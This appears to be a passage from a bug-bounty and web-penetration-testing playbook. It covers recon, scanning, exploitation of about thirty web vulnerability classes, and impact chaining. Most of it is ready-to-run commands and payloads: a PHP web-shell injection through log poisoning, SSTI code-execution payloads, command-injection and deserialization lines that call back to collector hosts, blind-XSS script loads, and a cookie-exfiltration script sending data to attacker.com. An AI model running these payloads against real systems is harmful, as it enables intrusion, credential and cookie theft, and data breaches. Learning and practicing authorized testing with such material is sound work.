arjun -u https://target.com/endpoint -oT recon/params/arjun_passive.txt \
  --passive -m GET,POST --headers 'User-Agent: Mozilla/5.0'

# Active with wordlist
arjun -i recon/urls/backend.txt -oT recon/params/arjun_active.txt \
  -m GET,POST -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
\
  -t 10 --rate-limit 10

# x8 — HTTP parameter discovery
# Install: cargo install x8
x8 -u 'https://target.com/search' -w /usr/share/seclists/Discovery/Web-
Content/burp-parameter-names.txt \
  -X GET,POST -o recon/params/x8.txt

# paraminer (Burp extension equivalent)
# Install: https://github.com/PortSwigger/param-miner — Burp Suite extension

# ffuf parameter fuzzing
ffuf -u 'https://target.com/search?FUZZ=test' \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs BASELINE_SIZE -t 50
```

4.7 — Directory & File Bruteforce

```
# ── feroxbuster (fastest recursive) ──────────────────────────────────
# Install: cargo install feroxbuster  OR  brew install feroxbuster
feroxbuster -u https://target.com \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -t 300 -d 3 -k \
  -x php,html,json,js,log,txt,bak,old,zip,tar,gz,env,config,xml,yaml \
  -o recon/dirs/feroxbuster.txt

# ── dirsearch (best extension coverage) ──────────────────────────────
# Install: pip install dirsearch --break-system-packages
dirsearch -u https://target.com \
  -e
php,asp,aspx,jsp,json,xml,txt,log,ini,cfg,config,conf,bak,old,backup,zip,tar,tgz,gz,rar,7
z,swp,db,sql,env,yml,yaml,pem,key \
  -r -R 3 -t 30 --full-url --random-agent \
  --include-status 200,204,301,302,307,401,403 --exclude-status 404 \
  -o recon/dirs/dirsearch.txt

# ── ffuf with 403 bypass headers ─────────────────────────────────────
ffuf -u 'https://target.com/FUZZ' \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: /FUZZ' \
  -H 'X-Rewrite-URL: /FUZZ' -H 'X-Custom-IP-Authorization: 127.0.0.1' \
  -fc 400,404,429,500,502,503 -recursion -recursion-depth 2 -ac -t 100 \
  -o recon/dirs/ffuf_dirs.json

# ── gobuster ─────────────────────────────────────────────────────────
# Install: go install github.com/OJ/gobuster/v3@latest
gobuster dir -u https://target.com \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -t 50

# ── API endpoint bruteforce with kiterunner ──────────────────────────
# Install: go install github.com/assetnote/kiterunner/cmd/kr@latest
kr wordlist save apiroutes-251027  # download API routes wordlist
kr scan https://api.target.com -A=apiroutes-251027:10000 -x 8 -j 15 -v info \
```

```
  -o recon/dirs/kiterunner_api.txt
kr scan https://api.target.com -w /path/to/wordlist.txt -H 'x-access-token: TOKEN'

# ── Wordlist Reference ──────────────────────────────────────────
# /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
# /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
# /usr/share/seclists/Discovery/Web-Content/common.txt
# /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
# /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# https://wordlists.assetnote.io  (best API wordlists)
```

PHASE 5 — AUTOMATED VULNERABILITY SCANNING

Smart automated scanning — targeted, not spray-and-pray

5.1 — Nuclei (Template-Based Scanning)

```
# Update nuclei and templates first
# Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update && nuclei -update-templates

# ── Phase A: CVE & Exposures (high signal, low noise) ──────────────
nuclei -l recon/subs/alive.txt \
  -tags cve,exposure,misconfig,default-login,takeover \
  -severity critical,high \
  -exclude-tags dos,fuzz,oob \
  -rl 50 -bulk-size 25 -c 20 \
  -stats -o recon/scans/nuclei_high_crit.txt

# ── Phase B: Medium severity + tech-specific ──────────────────────
nuclei -l recon/subs/alive.txt \
  -tags wordpress,drupal,joomla,apache,nginx,php,java \
  -severity medium,high \
  -rl 30 -o recon/scans/nuclei_tech.txt

# ── Phase C: DAST on parameterized URLs ──────────────────────────
nuclei -l recon/params/param_urls.txt \
  -dast -t dast/vulnerabilities/ \
  -rl 20 -o recon/scans/nuclei_dast.txt

# ── Phase D: JS exposure scanning ────────────────────────────────
nuclei -l recon/urls/js_files.txt \
  -t nuclei-templates/http/exposures/ -c 30 \
  -o recon/scans/nuclei_js.txt

# ── Phase E: Custom templates ────────────────────────────────────
# Add custom templates to: ~/nuclei-templates/custom/
nuclei -l recon/subs/alive.txt -t ~/nuclei-templates/custom/ -o
recon/scans/nuclei_custom.txt

# IMPORTANT: Always validate custom templates before use
nuclei -validate -t custom_template.yaml

# ── Shodan + Nuclei combo ────────────────────────────────────────
shodan domain target.com | awk '{print $3}' | httpx -silent | nuclei -s
critical,high
```

5.2 — 403 Forbidden Bypass

```
# byp4xx — automated 403/401 bypass
# Install: go install github.com/lobuhi/byp4xx@latest
cat recon/subs/forbidden.txt | byp4xx > recon/scans/bypass403.txt

# 4-ZERO-3
# Install: git clone https://github.com/Dheerajmadhukar/4-ZERO-3
bash 4-ZERO-3/403-bypass.sh -u https://target.com/admin

# ffuf 403 bypass with header injection
```

```
ffuf -u 'https://target.com/admin' \
  -w https://raw.githubusercontent.com/Karanxa/Bug-Bounty-
Wordlists/main/403_header_payloads.txt \
  -H 'FUZZ' -mc 200,301,302,307

# Manual header bypass attempts
curl -H 'X-Original-URL: /admin' https://target.com/
curl -H 'X-Rewrite-URL: /admin' https://target.com/
curl -H 'X-Custom-IP-Authorization: 127.0.0.1' https://target.com/admin
curl -H 'Referer: https://target.com/admin' https://target.com/admin
curl -H 'X-Forwarded-Host: localhost' https://target.com/admin
```

PHASE 6 — MANUAL EXPLOITATION — 30+ VULNERABILITY CLASSES

This is where elite hunters separate from script kiddies

6.1 — SQL Injection

```
# Detection — error-based
cat recon/params/sqli.txt | qsreplace "'" | httpx -silent \
  -ms 'sql syntax|mysql_fetch|ORA-|syntax error|SQLSTATE|pg_query' \
  | tee vulns/sqli_errors.txt

# Detection — time-based blind
cat recon/params/sqli.txt | qsreplace "1' AND SLEEP(5)-- -" | httpx -silent -
timeout 10 \
  | tee vulns/sqli_time.txt

# sqlmap — exploit confirmed injectable
# Install: sudo apt install sqlmap  OR  git clone
https://github.com/sqlmapproject/sqlmap
# SAFE: use Boolean+Time only, never risk>1 without explicit auth
sqlmap -u 'https://target.com/item?id=1' --batch --random-agent \
  --technique=BT --level 2 --risk 1 --dbs

# sqlmap from request file (preferred — Burp export)
sqlmap -r vulns/sqli_request.txt --batch --random-agent --level 2 --dbs

# sqlmap on parameterized list
cat recon/params/sqli.txt | uro | anew | sqlmap -m - --batch --random-agent --
technique=BT

# Tech-aware targeting (ASP/PHP = higher SQLi likelihood)
subfinder -d target.com -all -silent | httpx -td -sc -silent | grep -Ei
'asp|php|jsp|aspx'

# GraphQL SQLi
# Try: { user(id: "1 OR 1=1") { name } }
```

6.2 — Cross-Site Scripting (XSS)

```
# ── Reflected XSS pipeline ──────────────────────────────────────
# Install dalfox: go install github.com/hahwul/dalfox/v2@latest
# Install Gxss: go install github.com/KathanP19/Gxss@latest
# Install kxss: go install github.com/Emoe/kxss@latest
# Install airixss: go install github.com/ferreiraklet/airixss@latest

cat recon/params/xss.txt | gau | uro | httpx -silent | Gxss -p Rxss \
  | dalfox pipe --silence --skip-bav -o vulns/xss_reflected.txt

cat recon/params/xss.txt | qsreplace '"><svg onload=confirm(1)>' \
  | airixss -payload 'confirm(1)' | tee vulns/xss_confirmed.txt

echo 'target.com' | gau | gf xss | uro | Gxss | kxss | tee vulns/xss_kxss.txt

# ── DOM XSS ─────────────────────────────────────────────────────
cat recon/urls/js_files.txt | xargs -I@ bash -c \
```

```
  'curl -sk @ | grep -E
"(document\.(location|URL|cookie)|innerHTML|eval\(|document\.write)" && echo "SINK:
@"' \
  | tee vulns/dom_xss_sinks.txt

# ── Blind XSS ──────────────────────────────────────────────────
# Install bxss: go install github.com/ethicalhackingplayground/bxss@latest
subfinder -d target.com -all | gau | bxss \
  -payload '"><script src=https://YOUR_BXSS_COLLECTOR></script>' \
  -header 'X-Forwarded-For'

# Inject blind XSS in: X-Forwarded-For, User-Agent, Referer, name/email fields
subfinder -d target.com | gau | grep '&' | bxss -appendMode \
  -payload '"><script src=https://YOUR_BXSS_COLLECTOR></script>' -parameters

# ── XSS with ffuf ──────────────────────────────────────────────
ffuf -request xss_template.txt -request-proto https \
  -w /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt -mr '<script>alert'

# ── Nuclei DAST XSS ────────────────────────────────────────────
cat recon/params/xss.txt | nuclei -dast -t dast/vulnerabilities/xss/ -rl 50
```

6.3 — Server-Side Request Forgery (SSRF)

```
# SSRF parameter hunting
cat recon/params/ssrf_candidates.txt | grep -Ei \

'url=|uri=|redirect=|next=|path=|dest=|proxy=|file=|img=|src=|out=|load=|fetch=|import=|w
ebhook=|callback=' \
  | sort -u > vulns/ssrf_params.txt

# Install interactsh: go install github.com/projectdiscovery/interactsh/cmd/interactsh-
client@latest
# Get your callback URL first:
interactsh-client -v &

# Blind SSRF probe
cat vulns/ssrf_params.txt | gf ssrf | qsreplace 'https://YOUR_INTERACTSH_URL' \
  | httpx -silent | tee vulns/ssrf_blind.txt

# Cloud metadata SSRF
cat vulns/ssrf_params.txt | qsreplace 'http://169.254.169.254/latest/meta-data/' \
  | httpx -silent -match-string 'ami-id' | tee vulns/ssrf_cloud.txt

# SSRF bypass payloads
# http://127.0.0.1:80/       http://localhost/
# http://127.1               http://[::1]/
# http://0x7f000001          http://2130706433
# http://017700000001        http://0177.0.0.1
# http://127.0.0.1%23.evil.com  (comment bypass)

# SSRFmap — automated SSRF exploitation
# Install: git clone https://github.com/swisskyrepo/SSRFmap && pip install -r
requirements.txt
python3 SSRFmap/ssrfmap.py -r ssrf_request.txt -p url -m readfiles
python3 SSRFmap/ssrfmap.py -r ssrf_request.txt -p url -m cloud_aws

# Nuclei SSRF templates
nuclei -l recon/params/ssrf_candidates.txt -t nuclei-templates/vulnerabilities/ssrf/
```

6.4 — Local File Inclusion (LFI)

```
# LFI with ffuf
echo 'https://target.com/page?file=FUZZ' | ffuf -request-proto https \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mr 'root:(x|\*|\$[^\:]*):0:0:' -v

# Mass LFI scan from gf patterns
gau target.com | gf lfi | qsreplace '/etc/passwd' \
  | xargs -I% -P 25 sh -c 'curl -sk "%" 2>&1 | grep -q "root:x" && echo "VULN: %"'
\
  | tee vulns/lfi_hits.txt

# LFI pipeline
cat recon/params/lfi.txt | uro | sed 's/=.*/=/' | qsreplace 'FUZZ' | sort -u \
  | xargs -I{} ffuf -u {} -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mr 'root:(x|\*|\$[^\:]*):0:0:' -v -c

# Nuclei LFI templates
nuclei -l recon/subs/alive.txt -t nuclei-
templates/http/vulnerabilities/generic/generic-linux-lfi.yaml -c 30

# LFI → RCE via log poisoning
# 1. Inject PHP code in User-Agent header
curl -A '<?php system($_GET["cmd"]); ?>' https://target.com/
# 2. Include the access log
curl 'https://target.com/page?file=/var/log/apache2/access.log&cmd=id'
```

6.5 — Open Redirect

```
# Parameter discovery
cat recon/params/open_redirect.txt | grep -Pi \

'returnUrl=|continue=|dest=|redirect=|next=|goto=|return=|url=|target=|redir=|forward=|lo
cation=' \
  | tee vulns/redirect_params.txt

# Quick mass test
cat vulns/redirect_params.txt | qsreplace 'https://evil.com' \
  | httpx -silent -follow-redirects -match-string 'evil.com' \
  | tee vulns/open_redirects.txt

# Full payload list test
subfinder -d target.com -all | gau | gf redirect | uro \
  | while read url; do
    while read payload; do echo "$url" | qsreplace "$payload"; done <
payloads/open_redirect.txt
  done | httpx -silent -follow-redirects -match-string 'evil.com' >
vulns/redirect_hits.txt

# Bypass techniques
# //evil.com     /\evil.com    ///evil.com
# https://evil.com@target.com   https://target.com.evil.com
# javascript:alert(1)           data:text/html,<script>alert(1)</script>
```

6.6 — CORS Misconfiguration

```
# Manual curl test
curl -H 'Origin: https://evil.com' -I https://target.com/api/ \
```

```
  | grep -i 'access-control'

# Mass CORS test with nuclei
nuclei -l recon/subs/alive.txt -t nuclei-templates/vulnerabilities/cors/ -o
vulns/cors.txt

# Corsy — comprehensive CORS scanner
# Install: git clone https://github.com/s0md3v/Corsy && pip install -r
requirements.txt
python3 Corsy/corsy.py -i recon/subs/alive.txt -t 10 \
  --headers 'User-Agent: GoogleBot\nCookie: SESSION=test'

# CORScanner
# Install: git clone https://github.com/chenjj/CORScanner && pip install -r
requirements.txt
python3 CORScanner/cors_scan.py -u https://target.com -d -t 10

# Exploit: CORS with credentials (must check Access-Control-Allow-Credentials:
true)
# If origin is reflected AND credentials=true → account takeover possible
# Use: https://github.com/coffinxp/scripts/blob/main/CorsExploit.html
```

6.7 — Subdomain Takeover

```
# subzy — fast takeover checker
# Install: go install github.com/PentestPad/subzy@latest
subzy run --targets recon/subs/all_subs.txt \
  --concurrency 100 --hide_fails --verify_ssl \
  | tee vulns/subdomain_takeover.txt

# nuclei takeover templates
nuclei -l recon/subs/all_subs.txt -t nuclei-templates/http/takeovers/ -o
vulns/takeovers.txt

# Manual verification: https://github.com/EdOverflow/can-i-take-over-xyz
# Fingerprints to look for:
# GitHub Pages: 'There isn't a GitHub Pages site here'
# Heroku: 'No such app'  |  S3: 'NoSuchBucket'
# Fastly: 'Fastly error: unknown domain'  |  Shopify: 'Sorry, this shop is...'

# DNS CNAME check
cat recon/subs/all subs.txt | dnsx -cname -silent | grep -v 'target\.com'
```

6.8 — Exposed .git Repositories

```
# Probe for .git exposure
cat recon/subs/alive.txt | httpx -path '/.git/config' -mc 200 -ms '[core]' -silent
\
  | tee vulns/git_exposed.txt

cat recon/subs/alive.txt | httpx -path '/.git/' -mc 200 -ms 'Index of' -silent \
  >> vulns/git_exposed.txt

# GitDumper — dump exposed .git repo
# Install: pip install gitdumper --break-system-packages
git-dumper https://target.com/.git/ recon/loot/git_dump/

# Analyze dumped repo for secrets
trufflehog filesystem recon/loot/git_dump/ --json > recon/loot/git_secrets.json
```

```
git -C recon/loot/git_dump/ log --all --oneline
git -C recon/loot/git_dump/ show HEAD:config.php  # read source code
```

6.9 — Host Header Injection

```
# Mass host header injection test
cat recon/subs/alive.txt | httpx \
  -H 'Host: evil.com' -H 'X-Forwarded-Host: evil.com' \
  -ms 'evil.com' -silent | tee vulns/host_header.txt

# headi — automated host header injection
# Install: go install github.com/mlcsec/headi@latest
headi -u https://target.com | tee vulns/headi.txt

# Password reset poisoning test
# Intercept password reset → modify Host header → get poisoned link in email
# Tools: Burp Suite Collaborator for OOB confirmation

# Web Cache Poisoning via Host header
# Install web-cache-vulnerability-scanner:
# go install github.com/PortSwigger/web-cache-vulnerability-scanner@latest
wcvs -u https://target.com -v

# Cache poison check headers to test:
# X-Forwarded-Host: evil.com   X-Host: evil.com   X-Forwarded-Server: evil.com
# X-Original-URL: /admin       X-Override-URL: /admin
```

6.10 — Insecure Direct Object Reference (IDOR)

```
# Find numeric IDs in URLs
cat recon/urls/ALL_URLS.txt | grep -Eo '([0-9]{4,})' | sort -u >
recon/params/id_values.txt

# ffuf IDOR bruteforce on API endpoints
ffuf -u 'https://api.target.com/users/FUZZ/profile' \
  -w <(seq 1 10000) -mc 200 -t 50 | tee vulns/idor_users.txt

# IDOR in API with auth — compare own ID vs others
# Account A token → access /api/users/ACCOUNT_B_ID/data

# UUID/GUID IDOR
# If UUIDs are v1 (time-based) → predictable! Generate nearby UUIDs
# pip install uuid-utils

# Burp Suite Autorize extension — best IDOR automation
# Setup: add victim cookie and attacker cookie; let it auto-test

# Mass assignment test
# POST /api/users with: {"role": "admin", "is_admin": true, "credits": 9999}

# IDOR via parameter pollution
curl 'https://target.com/api/account?user_id=VICTIM&user_id=ATTACKER'
```

6.11 — GraphQL Injection & Introspection

```
# GraphQL introspection — get full schema
```

```
curl -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'

# clairvoyance — introspection when disabled
# Install: pip install clairvoyance --break-system-packages
clairvoyance -u https://target.com/graphql -o schema.json

# graphw00f — identify GraphQL engine
graphw00f -d -t https://target.com -o recon/scans/graphql_engine.txt

# GraphQL SQLi
# { user(id: "1 OR 1=1--") { name email } }

# GraphQL IDOR
# { user(id: VICTIM_ID) { email phone credit_card } }

# Batch query attack (bypass rate limiting)
# [{"query":"{ login(user:'a',pass:'a') }"},{"query":"..."}] * 1000

# Nuclei GraphQL templates
nuclei -l recon/scans/graphql_endpoints.txt -tags graphql
```

6.12 — Server-Side Template Injection (SSTI)

```
# Detection probes
cat recon/params/ssti.txt | qsreplace '{{7*7}}' | httpx -silent -ms '49' | tee
vulns/ssti_49.txt
cat recon/params/ssti.txt | qsreplace '${7*7}' | httpx -silent -ms '49' >>
vulns/ssti.txt
cat recon/params/ssti.txt | qsreplace '<%= 7*7 %>' | httpx -silent -ms '49' >>
vulns/ssti.txt

# tplmap — SSTI exploitation
# Install: git clone https://github.com/epinna/tplmap && pip install -r
requirements.txt
python3 tplmap/tplmap.py -u 'https://target.com/page?name=SSTI*'
python3 tplmap/tplmap.py -u 'https://target.com/page?name=SSTI*' --os-shell

# Manual payloads by engine:
# Jinja2:  {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig:
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
# Freemarker: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}
# Pebble: {{''
.class.forName('java.lang.Runtime').getMethod('exec','').class).invoke(...)}}
```

6.13 — XXE Injection

```
# Classic XXE payload
# POST with Content-Type: application/xml
# <?xml version='1.0'?>
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
# <data><value>&xxe;</value></data>

# Blind OOB XXE (use Burp Collaborator or interactsh URL)
# <!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'https://YOUR_COLLAB_URL/xxe'>%xxe;]>

# XXE via SVG upload
```

```
# Upload SVG file containing XXE entity

# nuclei XXE templates
nuclei -l recon/subs/alive.txt -tags xxe -o vulns/xxe.txt

# Odd content types that accept XML: Excel (xlsx), PDF, DOCX uploads
# Word processing apps, reporting engines, validators
```

6.14 — CRLF Injection

```
# Install crlfuzz: go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest
crlfuzz -l recon/subs/alive.txt -o vulns/crlf.txt

# Manual test payload
curl -v 'https://target.com/page?q=%0D%0ASet-Cookie:injected=value'

# nuclei CRLF templates
nuclei -l recon/params/param_urls.txt -tags crlf
```

6.15 — Request Smuggling

```
# Install smuggler: pip install smuggler --break-system-packages
# OR: git clone https://github.com/defparam/smuggler
python3 smuggler/smuggler.py -u https://target.com

# h2cSmuggler — HTTP/2 cleartext smuggling
# Install: go install github.com/BishopFox/h2csmuggler@latest
h2csmuggler -x https://target.com /secret-path

# Burp Suite Pro: HTTP Request Smuggler extension (best tool)
```

6.16 — Prototype Pollution

```
# ppmap — prototype pollution scanner
# Install: go install github.com/kleiton0x00/ppmap@latest
cat recon/urls/js_files.txt | ppmap | tee vulns/proto_pollution.txt

# Manual detection — inject __proto__ property
# GET /search?__proto__[polluted]=test  → check if Object.prototype.polluted ===
'test'

# Burp extension: Server-Side Prototype Pollution Scanner
# DOM-based: window.__proto__.polluted = 'test' in console
```

6.17 — OAuth & Authentication Attacks

```
# OAuth flow interception — look for:
# - state parameter missing (CSRF)
# - redirect_uri not validated
# - code reuse (authorization code used twice)
# - token leakage in Referer header

# CSRF on OAuth (missing state param)
```

```
# Craft attacker's authorization URL without state → victim clicks → attacker logs
in as victim

# redirect_uri manipulation
# change: redirect_uri=https://target.com/callback
# to:     redirect_uri=https://attacker.com/callback
# or:     redirect_uri=https://target.com@attacker.com/callback

# Token validation bypass
# Change JWT alg to 'none' → remove signature
# Install: pip install pyjwt --break-system-packages

# nuclei OAuth templates
nuclei -l recon/urls/login_flows.txt -tags oauth -o vulns/oauth.txt
```

6.18 — JWT Attacks

```
# jwt_tool — best JWT testing tool
# Install: git clone https://github.com/ticarpi/jwt_tool && pip install -r
requirements.txt

# Test all JWT attacks
python3 jwt_tool/jwt_tool.py TOKEN -M at

# Specific attacks
python3 jwt_tool/jwt_tool.py TOKEN -X a   # alg=none
python3 jwt_tool/jwt_tool.py TOKEN -X s   # secret=''
python3 jwt_tool/jwt_tool.py TOKEN -C -d wordlist.txt  # crack secret
python3 jwt_tool/jwt_tool.py TOKEN -T    # tamper and re-sign

# Hashcat JWT cracking
hashcat -a 0 -m 16500 JWT_TOKEN /usr/share/wordlists/rockyou.txt
```

6.19 — Race Condition

```
# Turbo Intruder (Burp Suite extension) — best for race conditions
# Send request to Turbo Intruder → use race.py script

# Nuclei race condition check
# Install: go install github.com/dwisiswant0/racepwn/cmd/racepwn@latest
racepwn -u 'https://target.com/redeem-coupon' -n 50 -t 50

# Targets: coupon redemption, file upload, wallet credit, rate limits
# Technique: send N identical requests simultaneously
seq 50 | xargs -P 50 -I{} curl -sk 'https://target.com/redeem' -b 'session=TOKEN' -
d 'code=FREE100'
```

6.20 — File Upload Bypass

```
# Extension bypass payloads
# file.php → file.php.jpg, file.php%00.jpg, file.pHp, file.php5, file.phtml
# file.jpg → file.jpg.php (double extension)

# Content-Type bypass
# Change Content-Type: application/x-php → image/jpeg
```

```
# Magic bytes bypass
# Prepend GIF header: GIF89a<?php system($_GET['cmd']); ?>

# SVG XSS via upload
# <svg><script>alert(document.cookie)</script></svg>

# XXE via SVG
# <svg><!DOCTYPE svg [<!ENTITY xxe SYSTEM
'file:///etc/passwd'>]><text>&xxe;</text></svg>

# Upload SSRF
# Upload SVG/XML that fetches internal URL

# nuclei file upload templates
nuclei -l recon/urls/uploads.txt -tags upload -severity high,critical
```

6.21 — Command Injection

```
# commix — automated command injection
# Install: git clone https://github.com/commixproject/commix && cd commix &&
python3 commix.py --install
python3 commix.py --url='https://target.com/ping?ip=INJECT_HERE' --batch

# Manual payloads
# ; id     && id     || id     | id
# `id`     $(id)     ;{IFS}id  %0aid

# Blind command injection — time delay
# target.com/ping?ip=127.0.0.1;sleep+10
# target.com/ping?ip=127.0.0.1%26%26sleep+10

# OOB command injection with interactsh
# ;curl https://YOUR_INTERACTSH_URL/$(id)

# nuclei command injection templates
nuclei -l recon/params/param_urls.txt -tags rce,command-injection -severity
critical,high
```

6.22 — Insecure Deserialization

```
# ysoserial — Java deserialization payloads
# Install: https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections6 'curl https://YOUR_COLLAB_URL' | base64

# PHPGGC — PHP deserialization
# Install: git clone https://github.com/ambionics/phpggc
php phpggc/phpggc Laravel/RCE5 system 'id' --json

# Detect Java deserialization: look for 'rO0AB' (base64) or 0xaced 0x0005 (hex) in
requests
# Detect PHP deserialization: O:4:"User":2:{s:4:"name";s:5:"admin";}
# Detect Python pickle: look for \x80\x02 prefix

# nuclei deserialization templates
nuclei -l recon/subs/alive.txt -tags deserialization -severity critical,high
```

6.23 — Business Logic Vulnerabilities

These require manual testing and deep understanding of the application flow. No tool can find these.

```
# Common business logic targets:

# 1. Price/value manipulation
# - Negative prices: price=-100 → credit to account
# - Quantity overflow: quantity=99999999
# - Currency confusion: pay in USD, receive EUR equivalent

# 2. Workflow bypass
# - Skip payment step by jumping directly to /order/confirm
# - Access step N without completing step N-1

# 3. Privilege escalation
# - Access admin endpoints with user account
# - Downgrade restrictions: modify 'role' in JWT/cookie

# 4. Account takeover chains
# - Email case sensitivity: Admin@target.com vs admin@target.com
# - Password reset race condition
# - Login with social + email same account

# 5. Coupon/voucher abuse
# - Reuse single-use codes (race condition)
# - Apply discount repeatedly

# 6. Response manipulation
# - Change 'false' to 'true' in: {"premium": false}
# - Change HTTP 402 to 200
```

6.24 — Cloud Misconfigurations

```
# ── S3 Bucket Enumeration ──────────────────────────────────────
# Install cloud_enum: git clone https://github.com/initstring/cloud_enum && pip
install -r requirements.txt
python3 cloud_enum/cloud_enum.py -k target -k target-company \
  -k targetcompany -o vulns/cloud_enum.txt

# S3Scanner
# Install: pip install s3scanner --break-system-packages
s3scanner scan --buckets-file recon/subs/all_subs.txt > vulns/s3scanner.txt
s3scanner scan --bucket target-backups  # test common naming patterns

# Manual S3 access test
aws s3 ls s3://target-prod --no-sign-request 2>/dev/null
aws s3 sync s3://target-dev/ ./loot/s3_dump/ --no-sign-request 2>/dev/null

# GrayhatWarfare — search public bucket files
# https://buckets.grayhatwarfare.com/?keywords=target

# Firebase open database
curl 'https://target-default-rtdb.firebaseio.com/.json'

# Azure blob storage
curl
'https://targetcompany.blob.core.windows.net/backups?restype=container&comp=list'

# GCP bucket
curl 'https://storage.googleapis.com/target-data/'
```

```
# Nuclei cloud templates
nuclei -l recon/subs/alive.txt -tags aws,gcp,azure,cloud,s3,firebase -o
vulns/cloud.txt
```

6.25 — PostMessage Vulnerabilities

```
# Find postMessage usage in JS
cat recon/js/*.js | grep -E 'postMessage|addEventListener.*message' >
vulns/postmessage_sources.txt

# DOM-based analysis: look for insecure origin validation
# Dangerous pattern: window.addEventListener('message', function(e) { eval(e.data)
})
# No origin check: if (!e.origin) { return; } is WRONG

# Install PostMessage Scanner Burp extension
# Or use: https://github.com/nicktindall/cyclon.p2p

# nuclei postmessage templates
nuclei -l recon/subs/alive.txt -tags postmessage
```

6.26 — HTTP Request Smuggling (Advanced)

```
# Detect CL.TE smuggling
curl -s -X POST https://target.com/ \
  -H 'Transfer-Encoding: chunked' \
  -H 'Content-Length: 6' \
  -d '0\r\n\r\nX'

# Use Burp Suite Pro → HTTP Request Smuggler extension
# CL.TE, TE.CL, TE.TE variants

# h2cSmuggler — HTTP/2 tunneling
h2csmuggler -x https://target.com /admin/users
```

6.27 — WebSocket Vulnerabilities

```
# Detect WebSocket endpoints
cat recon/urls/ALL_URLS.txt | grep -Ei 'ws://|wss://|websocket|socket.io'
cat recon/js/*.js | grep -Ei 'new WebSocket|socket\.io' | head -50

# wscat — WebSocket client for manual testing
# Install: npm install -g wscat
wscat -c wss://target.com/ws -H 'Cookie: session=TOKEN'

# Burp Suite — intercept WebSocket messages in Proxy tab
# Test: IDOR through WS, XSS via WS messages, authentication bypass

# CSRF via WebSocket (no CORS protection on WS by default)
# Craft attacker's page that opens WS to target with victim's cookies
```

6.28 — SSRF via Blind/OOB

```
# Set up interactsh for OOB detection
interactsh-client -v -o recon/loot/interactsh.log &

# DNS rebinding attack for SSRF bypass
# Use: https://lock.cmpxchg8b.com/rebinder.html

# AWS metadata SSRF chain
# 1. SSRF → http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name → fetch credentials
# 3. Use AWS keys to access S3/EC2/Lambda

# GCP metadata SSRF
# http://metadata.google.internal/computeMetadata/v1/project/project-id
# Header required: Metadata-Flavor: Google

# Azure metadata SSRF
# http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true
```

6.29 — Dependency Confusion

```
# Find internal package names from JS/package.json/requirements.txt
cat recon/js/*.js | grep -Eo '"[a-z@][a-z0-9@._/-]*": "[^"]+"' | grep -v 'http'

# Check if internal name exists on public npm/pypi/rubygems
npm view PACKAGE_NAME 2>/dev/null || echo 'Available on npm!'
pip index versions PACKAGE_NAME 2>/dev/null

# If not published: register it with higher version number
# Scripts that fetch internal packages may pull attacker's public version instead
```

6.30 — Mobile API Testing (API-Only Attack Surface)

```
# Decompile APK to find hardcoded endpoints
# Install apktool: https://apktool.org
apktool d target.apk -o decompiled_apk/
grep -r 'api\|endpoint\|http\|secret\|key' decompiled_apk/ | grep -v '.class'

# MobSF — automated mobile security analysis
# Install: https://github.com/MobSF/Mobile-Security-Framework-MobSF
python3 manage.py runserver  # Start MobSF, upload APK via web UI

# Frida — dynamic instrumentation (bypass SSL pinning)
# Install: pip install frida-tools --break-system-packages
frida -U -f com.target.app -l ssl_bypass.js

# Intercept with Burp: install Burp CA on device, set proxy
# ALL mobile API traffic = valid scope if API is in scope
```

PHASE 7 — POST-EXPLOITATION & IMPACT DEMONSTRATION

Prove real-world impact — the difference between $200 and $10,000 bounties

7.1 — Impact Escalation Chains

Always ask: 'What can I do FROM this vulnerability?' Chaining is where big bounties live.

```
SSRF → Cloud Metadata → AWS Keys → S3 Access → Data Breach      [CRITICAL]
XSS → Cookie Steal → Account Takeover → PII Access               [HIGH→CRITICAL]
SQLi → Database Dump → Plaintext Passwords → Admin ATO           [CRITICAL]
IDOR → PII of all users → Mass data exposure                     [HIGH→CRITICAL]
Git Exposure → Source Code → Hardcoded Keys → Full Compromise    [CRITICAL]
LFI → /proc/self/environ → Secret Keys → RCE                    [CRITICAL]
Open Redirect → Phishing + OAuth code theft → ATO                [HIGH]
JWT none alg → Skip auth → Admin access                         [CRITICAL]
Subdomain Takeover → Cookie hijack (same-origin) → ATO           [HIGH]
CORS + credentials → Read auth tokens → ATO                      [HIGH]
Race condition on payment → Free purchases                        [HIGH]
SSTI → RCE → Shell                                               [CRITICAL]
```

7.2 — Proof of Concept Best Practices

```
# POC must demonstrate REAL IMPACT, not just trigger a detection
# BAD PoC:  curl ... returns SQL error
# GOOD PoC: curl ... dumps users table with emails and hashed passwords

# For XSS: don't just alert(1) — show cookie exfil
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# For SSRF: don't just prove connection — retrieve actual sensitive data
curl 'https://target.com/api?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/'

# For IDOR: show you accessed another user's PII
# Blur sensitive data in screenshots — but describe what was visible

# Always include:
# 1. Step-by-step reproduction steps
# 2. Request/response or curl command
# 3. Screenshot or video proof
# 4. Impact statement (who is affected, what data is exposed)
